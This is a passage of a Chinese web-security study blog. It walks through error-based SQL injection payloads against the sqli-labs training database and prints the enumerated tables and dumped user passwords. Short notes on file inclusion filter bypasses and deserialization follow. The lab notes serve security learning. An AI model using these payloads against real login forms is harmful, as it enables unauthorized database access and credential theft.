		3. 报错注入获取当前DB的名称
			passwd=admin' and extractvalue(null,concat(0x7e,(select database()),0x7e)) #
			数据库：security
		4. 报错注入获取数据库中所有表的名称
			passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)) #
			所有的表：emails,referers,uagents,users
		5. 报错注入获取每张表里的字段名
			passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="email"),0x7e)) #
			email中的字段：id,email_id
			
			passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="referers"),0x7e)) #
			referers中的字段：id,referer,ip_address
			
			passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="uagents"),0x7e)) #
			uagents中的字段：id,uagent,ip_address,username
			
			passwd=admin' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),0x7e)) #
			users中的字段：id,username,password
		6. 报错注入获取users表中的所有数据
			passwd=admin' and extractvalue(null,concat(0x7e,(select concat(id) from users limit 0,1),0x7e)) #
			id：1,2,3,4,5,6,7,8,9,10,11,12,14
			
			passwd=admin' and extractvalue(null,concat(0x7e,(select concat(username) from users limit 0,1),0x7e)) #
			username：Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
			
			passwd=admin' and extractvalue(null,concat(0x7e,(select concat(password) from users limit 0,1),0x7e)) #
			password：Dumb,I-Kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

image-20230914131423914

XSS跨站脚本攻击

文件上传漏洞

文件包含漏洞

  • 释义

    https://baijiahao.baidu.com/s?id=1726903453533609734&wfr=spider&for=pc

  • PHP文件包含之伪协议总结

    - https://www.php.cn/faq/481803.html
- 过滤器：可以对文件内容进行处理的东西

  • PHP文件包含之伪协议绕过

    - https://blog.csdn.net/woshilnp/article/details/117266628
- 使用convert.iconv.InputEncode.OutputEncode代替convert.base64-encode：InputEncode不一定要等与OutputEncode，随意组合

反序列化

  • 专业术语了解

    - https://mp.weixin.qq.com/s/FhwML5Jy6X8glJNOeMgV2g

  • 总结

    - https://blog.csdn.net/m0_64815693/article/details/127982134
- 序列化：对象的一种书写格式而已
- 魔术方法：PHP的内置函数（Magic，魔术/神奇的，表示PHP的内置函数很神奇）
- 简单理解：反序列化就是调用某个类，加上对一些函数进行绕过而已，序列化只是一种格式而已，考的是胆码审计和绕过

系统安全

操作系统基础

操作系统漏洞

靶场推荐

WEB靶场

  1. sqli-labs
  2. DVWA
  3. pikachu

综合靶场

  1. Vulhub：https://vulnhub.com/

标签：网络安全,知识,concat,--+,table,导航,id,select,schema
From： https://www.cnblogs.com/brankyeen/p/17766416.html

相关文章

  • 2023中山市第三届香山杯网络安全大赛线上初赛
    序被带飞了PWNmove先往变量sskd写入0x20字节，往第二个输入点输入0x12345678即可进入到第三个输入点，存在0x8字节的溢出。思路是在第一个输入点布置rop链，然后利用第三个输入点的溢出，打栈迁移然后泄libc后重新返回到main函数，这里要注意的是移了栈之后，栈顶指针就指......
  • IT工具知识-19: Dlink Dir-505 刷机以及升级经历
    0.背景最近想找个小巧的路由器当作物联网路由器使用,原本是用随身wifi的,但是随着设备的增多,已经快达到随身wifi可承载设备的极限了,所以就找到了dir-505,原厂自带uboot,所以上传固件很方便.1.准备windows10电脑一台网线一根路由器本体A1G版本(原厂系统)固件:固件地......
  • 图论的一些知识
    tarjan算法虚树DAG剖分矩阵树定理最小树形图（）斯坦纳树（感觉可以看看？）同余最短路平面图and对偶图线性规划网络流一般图最大匹配Prüfer序列竞赛图稳定婚姻问题2-sat仙人掌Dilworth定理（）tarjan算法有向图\(\to\)强连通分量无向图\(\to\)广义圆方树......
  • 科普知识：Arduino助力人工智能机器人课程
    一、课程目标初级课程主要面向大学通识课程、中小学教师，通过教师讲解了解机器人的发展、基本原理、关键技术以及与人工智能的关系和发展，通过文献调研对机器人领域形成自己的认识，通过课堂协作、竞赛任务完成实践对机器人的设计、控制和优化。共计32学时。1、Arduino的优势比如你......
  • 2023_10_15_DAY_01_JAVA_SE_Java基础知识_下_流程控制语句
    2023_10_15_DAY_01_JAVA_SE_Java基础知识_下_流程控制语句分支【选择】结构if语句if(表达式){ 执行语句块;}//if语句的代码执行过程为：如果条件表达式返回真值，则执行功能代码块中的语句；//如果条件表达式返回值为假，则不执行功能代码块。语法说明：if是该语句中的关键字，后......
  • 2023_10_15_DAY_01_JAVA_SE_Java基础知识_中_变量与运算符
    2023_10_15_DAY_01_JAVA_SE_Java基础知识_中_变量与运算符标识符、关键字和保留字标识符在Java语言中，通过标识符来表示一些元素的名字，比如变量名、类名、方法名和包名等。Java中的标识符要符合下面的规则：标识符必须以字母、下划线（_）、数字或美元（$）组成；标识符必须由字母、下......
  • 2023_10_15_DAY_01_JAVA_SE_Java基础知识_上
    2023_10_15_DAY_01_JAVA_SE_Java基础知识什么是Java计算机语言是人与计算机之间的通讯语言，分为机器语言、汇编语言、高级语言。Java是一种高级计算机语言，它是由Sun公司(已被Oracle公司收购)于1995年5月推出。Java语言平台Java语言平台包括3个版本，标准版、企业版、微型版。Jav......
  • 关于浮点数的一些小知识点
    转载自：C++标准cout输出精度解析double和float的区别1.double是双精度浮点数，内存占8个字节，有效数字16位，表示范围是-1.79E+308~1.79E+308。float是单精度浮点数，内存占4个字节，有效数字8位，表示范围是-3.40E+38~3.40E+38。2.两者处理速度不同，CPU处理float的速度比处理double快。......
  • UML相关知识复习
    1、耦合标记耦合--->参数传递；访问另一个模块的内部数据-->内部耦合；模块之间关联程度最高的是内部耦合；2、内聚内聚程度由高到低：功能聚合-->顺序聚合-->瞬时聚合-->逻辑聚合；3、数据流图（DFD）数据流图包括：外部实体、数据流、加工、数据存储；4、设计模式的根本目的复习相似问题......
  • 一些 C/C++ 的知识
    引用https://zhuanlan.zhihu.com/p/100050970https://www.sohu.com/a/300755552_120111838gcc与g++的区别GCC:GNUCompilerCollection(GUN编译器集合)，它可以编译C、C++、JAVA、Fortran、Pascal、Object-C等语言。gcc是GCC中的GUNCCompiler（C编译器）；g++是GCC中的GUNC++Co......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99